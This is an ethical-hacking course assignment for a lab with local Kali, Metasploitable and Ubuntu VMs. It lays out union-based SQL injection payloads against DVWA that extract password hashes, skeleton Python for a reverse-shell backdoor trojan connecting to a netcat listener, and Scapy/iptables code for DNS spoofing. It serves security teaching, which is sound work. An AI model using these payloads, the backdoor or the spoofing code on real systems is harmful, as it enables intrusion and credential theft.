CSCI369 Ethical Hacking

This material is copyrighted. It must not be

C distributed without permission from
Joonsang Baek

Assignment

Due: 11:55 pm 26 August 2020
Total Mark: 100 (30% of Final Grade)

General Instructions: Please read the following instructions carefully.

- You must create a folder (directory) for each question. – You will need to
create seven folders named as Q1, Q2 and Q3.
- Answers for each question need to be saved in each folder.
- You need to have a VirtualBox installed on your personal laptop or
desktop. In the VirtualBox, Kali and Metasploitable virtual machines must
be installed.
- You will have to take several screenshots of the results if asked. Those
screenshots will be checked thoroughly using hash checksum. If the same
checksum will be resulted from any files submitted by two different
students, all of them will get zero mark for the question it is concerned
with. You can refer to the following site to learn how to take screenshots
on various platforms: https://www.take-a-screenshot.org/

1. Further SQL Injection Attack (20 marks)

Turn on Metasploitable VM. On Kali VM, open a browser and type

Meatsploitable machine’s IP to connect to DVWA. In the DVWA, change
the “DVWA Security” setting to “low”. Then go to SQL Injection section
and complete the following tasks.

a) (4 marks) In the input field of User ID, type ' order by 1#. You will
not get any error. This means you have at least one column in the
database. Instead of 1, try any other number, say 10 (i.e., ' order by 
10#. You will get an error this time. This means 10 is too big for the
number of columns. Keep trying this way to find out the exact number
of columns. How many columns are there? Your answer needs to be
saved in Q1‐a.txt.

From questions b) to f), the number of null = the number of columns

-1.

b) (3 marks) Now enter ' union select null,…,null, 

schema_name from information_schema.schemata# . Here, you
will get all the database schemata in the system. (Roughly speaking, a
database schema is an organization of data in a database.) Take a
screenshot of your result and name it as Q1‐b.jpg.

1
 CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek

c) (3 marks) Now enter ' union select null,…,null, 

database()# . This will give you a name of the schema you are using.
What is it? Your answer needs to be saved in Q1‐c.txt.

d) (3 marks) Now enter ' union select null,…,null, table_name 

from information_schema.tables where table_schema 
='answer from question c)' #. This will give you all the table names
of the database schema you are using (the name of this schema is your
answer for question c)). One of the table names is “users”. What is the
other one? Your answer needs to be saved in Q1‐d.txt.

e) (3 marks) Now enter ' union select null,…,null, 

column_name from information_schema.columns where 
table_name ='users' # . This will give you all the column names
of the database schema you are using with table name ‘users’. Take a
screenshot of your result and name it as Q1‐e.jpg.

f) (4 marks) In this question, retrieve first name of each user and a

(hashed) password from the ‘users’ table. The structure for this
SQL injection is similar: ' union select … from users (Note that
you do not need to use “where” syntax in this case. Replace … with
appropriate items.) Take a screenshot of your result and name it as
Q1‐f.jpg.

You can use other graphic file formats, but make sure that it can be clearly
visible. Save all your files in the folder Q1.

2. Make Your Own Backdoor Trojan (35 marks)

Assume that you are a hacker. You want to create backdoor Trojan, which
will be delivered to the victim, assume to be an Ubuntu user. If this
backdoor is executed, the victim’s machine will connect to your machine
that runs a Kali Linux. Once you’ve got a connection, you can type any
Unix command with options, which will be sent to the victim’s machine
and executed there. (The Unix command does not need further
interactions from the user.) In other words, you get a “reverse shell”.
Your task is to write a Python program to implement this backdoor. There
are a few assumptions on your program. Read the following carefully:

a) On your Kali machine, you (as a hacker) will run netcat to wait for
incoming traffic. That is, you run nc ‐v ‐l ‐p 5555 on the terminal.

b) The backdoor Trojan is, then, a client Python program that will
connect to your Kali machine.

c) As this is (going to be) malware, you do not need to think about the
sanitization of the Linux commands. (Refer to Task 4 in Lab6.)

2
 CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek

d) You should use the following skeleton code to implement your

backdoor program. (Note that this code is compilable using
Python3. This program will simply connect the victim’s machine
(client) to your kali machine (server), and if you type something on
the terminal while the netcat is running on Kali, it will display it in the
victim’s terminal. You should modify this code so that Linux
commands you type will be sent to the victim’s Ubuntu machine,
executed there, and the result will be sent back to your Kali machine):

import socket 
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(("10.0.2.15", 5555)) #10.0.2.15 is the Kali machine’s 
address, which you need to change 
s.send("Connected!\n".encode()) # 
 
 
while True: 
    received_data = s.recv(1024) 
    if '&' in received_data.decode(): 
      s.close() 
      break   
    else: 
      print(received_data.decode()) 

Hint: Save the above code as client.py. On your kali machine, run the netcat
command described above. On the Ubuntu machine, run client.py and see what
happens.

3. DNS Spoofing (45 marks)

Your task is to write a Python program to conduct DNS spoofing attack.

For the concept of DNS spoofing, refer to the lecture slides Lecture 4-1. To
complete this task, you should follow the instructions and assumptions
given below. (Please note that the program that does not follow the
instructions will result in significant deduction of marks.)

1) There can be many ways to perform DNS spoofing like installing a DNS
server and configuring that server to return false websites to users.
But, in this assignment, you assume the following scenario: When a
user sends a DNS request for a specific website, forward it to the right
DNS server, get (capture) the response and modify the IP part of the
response and send the modified response to the user. You need to
choose the specific website.

2) Assume that your program will target a user in your Kali (local)
machine. You do not need to redirect the forward chain to your queue.
Therefore, you should issue the following commands (instead of
iptables -I FORWARD…):
 iptables ‐I OUTPUT ‐j NFQUEUE ‐‐queue‐num 1 

3
 CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek

 iptables ‐I INPUT ‐j NFQUEUE ‐‐queue‐num 1 

3) You should use Scapy module to handle packets. More specifically,

your starting point is to use the Python code we wrote during the
Week 7 Lab:

import netfilterqueue 
import scapy.all as scapy  
     
def callback(packet): 
  scapy_packet = scapy.IP(packet.get_payload()) 
print(scapy_packet.show()) 
packet.accept() 
 
q=netfilterqueue.NetfilterQueue() 
q.bind(1, callback) # 1 is the queue number 
q.run() 

4) A Scapy code to check whether a packet has a DNS response is:

scapy_packet.haslayer(scapy.DNSRR). Using this, display the
DNS packet to look at a DNS Question Record (DNSQR) and DNS
Resource (DNSRR) Record. The following figure shows an example of
the DNS packet display.

In the above example, www.google.com is requested (qname in \qd)

and the IP address (rdata in \an) is retuned.

5) To conduct DNS spoofing, you need to access to qname in multiple

DNSQR’s. This can be done using the following code:
scapy_packet[scapy.DNSQR].qname #this will return a 
list of qname’s 
You also need to modify rrname and rdata in DNSRR and assign this
modified DNSRR to the current DNS packet’s answer field (an). This
can be done using the following code:
scapy_packet[scapy.DNS].an = 
scapy.DNSRR(rrname=target_url, rdata=attacker_IP)  
 
As there can be multiples answers for a DNS query, you need to set 
ancount to one. This can be done using the following code:
4
 CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek

scapy_packet[scapy.DNS].ancount =1 
 
You also need to delete the length (len) and checksum (chksum) of
each IP and UDP packet. (Otherwise, the program will not work as we
have modified the DNS response, which will make the length and
checksum different form the original packet and cause an error. Scapy
will recalculate them.) The length of each IP packet can be deleted
using the following code:  del scapy_packet[scapy.IP].len 

You should delete the checksum (chksum) of each IP packet and the

same should be done for the UDP packet.
 
Finally, you need to replace the current packet with the one modified
through Scapy. This can be done as follows:
packet.set_payload(str(scapy_packet)) 
 

6) [Important] Before running your program, you start web server on

Kali. Then, run your program. Basically, if you visit the target website
through a browser on Kali, you should be redirected to the Kali’s
website (not the original target website.) Unfortunately, due to the
hsts (http strict transfer security) feature of recent browsers, you may
not see any webpage displayed on your browser. However, if you ping
the target website, you should be able to receive response from your
Kali (with its IP address). Your program will be deemed successful if I
ping the target website and get the response from Kali. Submit your
Python source code and readme file which explains how to run your
program and what the target website is.

Remarks
 At least 50% of the mark will be deducted if your program is not working
on the lecturer’s computer.

How to submit

Put your folders Q1, Q2 and Q3 to one folder named as your surname followed by
your student ID number (e.g. John12345). And compress this folder to make one
zip file. – Note that only zip format will be accepted and other format may result
in zero mark for your assignment.

Submit your (zip) file through Moodle.

5
 CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek